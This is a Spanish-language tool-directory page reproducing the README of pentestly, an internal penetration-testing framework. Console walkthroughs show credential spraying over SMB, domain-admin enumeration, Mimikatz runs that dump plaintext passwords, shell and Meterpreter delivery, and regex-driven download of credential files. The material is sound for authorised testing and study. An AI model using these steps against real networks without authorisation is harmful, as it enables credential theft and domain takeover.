Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pentestly — Framework de pruebas de penetración interna en Python y Powershell | Kitploit
Herramientas/GitHubGitHub/praetorian-inc/pentestly
Frameworks de Pruebas de PenetraciónEscalada de PrivilegiosReconocimientoAtaques de ContraseñasExplotaciónMovimiento LateralRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlRed TeamingArchived
721137hace 10 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHubpraetorian-inc/pentestly

pentestly

Framework de pruebas de penetración interna en Python y Powershell

Ver Repositorio
Compartir

Pentestly

Pentestly es una combinación de herramientas Python en expansión para su uso en pruebas de penetración. El objetivo es utilizar una interfaz de usuario familiar mientras se facilita la contribución al framework con el poder de Python.

Entrada de blog: Pentestly Framework: When Pentesting Meets Python and Powershell

Autor: @ctfhacker / Cory Duplantis

Demo

asciicast

Características actuales

  • Importar XML de NMAP
  • Probar autenticación SMB usando:
    • credenciales individuales
    • archivo con credenciales
    • credenciales nulas
    • hash NTLM
  • Probar privilegios de administrador local para autenticación SBM exitosa
  • Identificar recursos compartidos SMB legibles para credenciales válidas
  • Almacenar nombres de cuentas de administrador de dominio/empresa
  • Determinar ubicación de procesos de administrador de dominio en ejecución
  • Determinar sistemas donde hay administradores de dominio conectados
  • Ejecutar comandos de Powershell en memoria y extraer resultados
  • Ejecutar Mimikatz para obtener contraseñas en texto plano desde la memoria (Invoke-Mimikatz.ps1)
  • Recibir un shell de comandos (Powercat)
  • Recibir una sesión de meterpreter (Invoke-Shellcode.ps1)

Hombros de Gigantes

Pentestly se apoya en los hombros de gigantes. A continuación se presentan las herramientas actuales utilizadas en Pentestly:

  • recon-ng - La base de datos backend de recon-ng está magníficamente construida y se aprovecha en Pentestly para la manipulación de datos

  • wmiexec.py - Nos permite ejecutar comandos de Powershell rápida y fácilmente a través de WMI

  • smbmap.py - Utilidad útil para enumerar recursos compartidos SMB

  • Invoke-Mimikatz.ps1 - Implementación de Mimikatz en Powershell

  • powercat.ps1 - Funcionalidad similar a Netcat en Powershell

  • Invoke-Shellcode.ps1 - Desplegar Meterpreter en Powershell

  • CrackMapExec - Fuente de inspiración para el simple servidor Mimikatz en Pentestly

Instalación

root@kitploit:~
git clone https://github.com/praetorian-inc/pentestly.git
./install.sh
./pentestly

Uso

Repasemos varias funciones actualmente implementadas.

Cambiar espacio de trabajo

root@kitploit:~
[pentestly][default] > workspaces list

  +------------+
  | Workspaces |
  +------------+
  | default    |
  +------------+

[pentestly][default] > workspaces add project
[pentestly][project] > workspaces select project

Cargar desde nmap

root@kitploit:~
[pentestly][project][nmap_xml] > load nmap
[pentestly][project][nmap_xml] > set filename /root/PROJECT/full-all-alive.xml
FILENAME => /root/PROJECT/full-all-alive.xml
[pentestly][project][nmap_xml] > show options

  Name      Current Value                      Required  Description
  --------  -------------                      --------  -----------
  FILENAME  /root/PROJECT/full-all-alive.xml  yes       Path and filename for nmap XML input

[pentestly][project][nmap_xml] > run

Probar inicios de sesión

Usar archivo con credenciales para probar inicio de sesión

root@kitploit:~
[pentestly][project][login] > cat /tmp/creds
[*] Command: cat /tmp/creds
user1 pass1
user2 pass2
[pentestly][project][login] > load login
[pentestly][project][login] > set userpass_file /tmp/creds
USERPASS_FILE => /tmp/creds
[pentestly][project][login] > set username ''
USERNAME => ''
[pentestly][project][login] > set password ''
PASSWORD => ''
[pentestly][project][login] > run

Usar nombre de usuario y contraseña único

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run

Usar credenciales sobre un subconjunto pequeño de IPs es decir, sobre la red 192.168.8.0/24 encontrada en la tabla

root@kitploit:~
[pentestly][project][login] > load login
[pentestly][project][login] > set username admin
USERNAME => admin
[pentestly][project][login] > set password password
PASSWORD => password
[pentestly][project][login] > set userpass_file ''
USERPASS_FILE => ''
[pentestly][project][login] > run
[pentestly][project][login] > set source query select * from pentestly_creds where host like '192.168.8.%'

Recopilar administradores de dominio y empresa

root@kitploit:~
[pentestly][project][login] > load get_domain # Notice fuzzy searching - get_domain finds get_domain_admin_names
[pentestly][project][get_domain_admin_names] > show options

  Name    Current Value  Required  Description
  ------  -------------  --------  -----------
  SOURCE  default        yes       source of input (see 'show info' for details)

[pentestly][project][get_domain_admin_names] > run
[*] Found Domain Admin: domain\admin1
[*] Found Domain Admin: domain\admin2

Ejecutar mimikatz sobre IPs con derechos ejecutables

root@kitploit:~
[pentestly][default][get_domain_admin_names] > load mimi
[pentestly][default][mimikatz] > run
Select local interface for hosting scripts

0. 127.0.0.1
1. 10.220.8.94
2. 172.27.67.14
> 1

[*] Execution creds: domain\Admin:[email protected]
[*] Success! Admin.DA:p@$$w0rd  - DOMAIN ADMIN!

Mostrar administradores locales

root@kitploit:~
[pentestly][default][show_local_admins] > load show_local_admins
[pentestly][default][show_local_admins] > run

+---------------------------------------------------------------------------------------------------------------+
|      host      | access |  username  |  password  | domain | process | logged_in | success | execute | module |
+---------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 |        | nsportsman | password1! | zojix  |         |           | True    | True    | login  |
+---------------------------------------------------------------------------------------------------------------+

Mostrar administradores de dominio

root@kitploit:~
[pentestly][default][show_domain_admins] > load show_domain_admins
[pentestly][default][show_domain_admins] > run

+--------------------------------------------------------------------------------------------------------------------------+
|      host      | access        | username  |  password       | domain | process | logged_in | success | execute | module |
+--------------------------------------------------------------------------------------------------------------------------+
| 10.202.208.112 | Domain Admin  | TheRealDA | </l33TPassword> | zojix  |         |           | True    | True    | login  |
+--------------------------------------------------------------------------------------------------------------------------+

Enumshares

root@kitploit:~
[pentestly][default] > load enums
[pentestly][default][enumshares] > run
[*] Execution creds: workgroup\Administrator:[email protected]
defaultdict(<type 'list'>, {'readonly': [u'ADMIN$', u'C', u'C$', u'Users'], 'noaccess': [u'IPC$']})

Mostrar nuevos recursos compartidos

root@kitploit:~
[pentestly][default][interesting_files] > show pentestly_shares

+------------------------------------------------------------------------------------------------+
| rowid |       host      |    username   | readwrite |      readonly     | noaccess |   module   |
+-------------------------------------------------------------------------------------------------+
| 1     | 192.168.224.252 | Administrator |           | ADMIN$,C,C$,Users | IPC$     | enumshares |
+-------------------------------------------------------------------------------------------------+

Encontrar/Descargar archivos interesantes

root@kitploit:~
[pentestly][default][interesting_files] > show options

    Name     Current Value                                                                                                                              Required  Description
    -------  -------------                                                                                                                              --------  -----------
    PATTERN  (Groups.xml|Services.xml|Printers.xml|Drives.xml|DataSources.xml|ScheduledTasks.xml|unattend|important|passw|backup|setup).*[^dll][^exe]$  yes       Regex pattern to look for in filenames
    SOURCE   default                                                                                                                                    yes       source of input (see 'show info' for details)

Puede cambiar el pattern a algo más especializado

root@kitploit:~
[pentestly][default][interesting_files] > set pattern important.txt|super_secret
PATTERN => important.txt|super_secret
[pentestly][default][interesting_files] > show options

    Name     Current Value               Required  Description
    -------  -------------               --------  -----------
    PATTERN  important.txt|super_secret  yes       Regex pattern to look for in filenames
    SOURCE   default                     yes       source of input (see 'show info' for details)

Ejecutar y descargar archivos encontrados

root@kitploit:~
[pentestly][default][interesting_files] > run
[*] Administrator
[*] Execution creds: workgroup\Administrator:[email protected]
[+] Match found! Downloading: Users\Administrator\Desktop\important.txt.txt
192.168.224.252-Users_Administrator_Desktop_important.txt.txt
[+] Match found! Downloading: Users\Administrator\Desktop\super_secret.txt
192.168.224.252-Users_Administrator_Desktop_super_secret.txt

Contribuir

Crear nuevos módulos en Pentestly es fácil. Comience con el código proporcionado en skeleton.py:

root@kitploit:~
from libs.pentestlymodule import PentestlyModule

class Module(PentestlyModule):

    meta = {
        'name': 'Your module name goes here',
        'author': 'Developer name goes here',
        'description': 'Description of the module goes here',
        'query': 'SQL QUERY whose result is passed to your module',
        'options': (
            ('Option1', 'Default Value', Required-True/False, 'Description of option'),
        ),
    }

    def module_pre(self):
        # Optional
        # Happens before your module

    def module_run(self, data):
        # Required
        # data is the result from the SQL query set in the options
        
        ### Few magic functions
        # self.query - Perform an SQL query on the internal database
        results = self.query("select * from pentestly_creds")
        
        # self.output - print default information to the user
        self.output("Performed an SQL query")
        self.output(results)

        # self.alert - print successful message to the user
        self.success("Yay! We performed successful work")

    def module_post(self):
        # Optional
        # Happens after your module

Los puntos clave aquí son llenar el diccionario meta con la información correspondiente, así como la función module_run para la funcionalidad del módulo.

Este script se coloca luego en la carpeta modules/ o en su carpeta personal ~/.pentestly/modules para portabilidad.

Permanezca atento a una explicación detallada de un script de ejemplo en las próximas semanas.

TODO

  • Implementar módulo secretsdump.py
  • Agregar funciones de utilidad para consultas a la base de datos similares a creds, services
  • Rediseñar la función draw_table para tener columnas de ancho fijo
  • Importar credenciales desde Gladius
  • Implementar módulo de búsqueda y descifrado de contraseñas GPP
  • Investigar el uso de Invoke-Shellcode

Registro de cambios

0.1.0 (2016-02-18)

Versión inicial

Descargar herramienta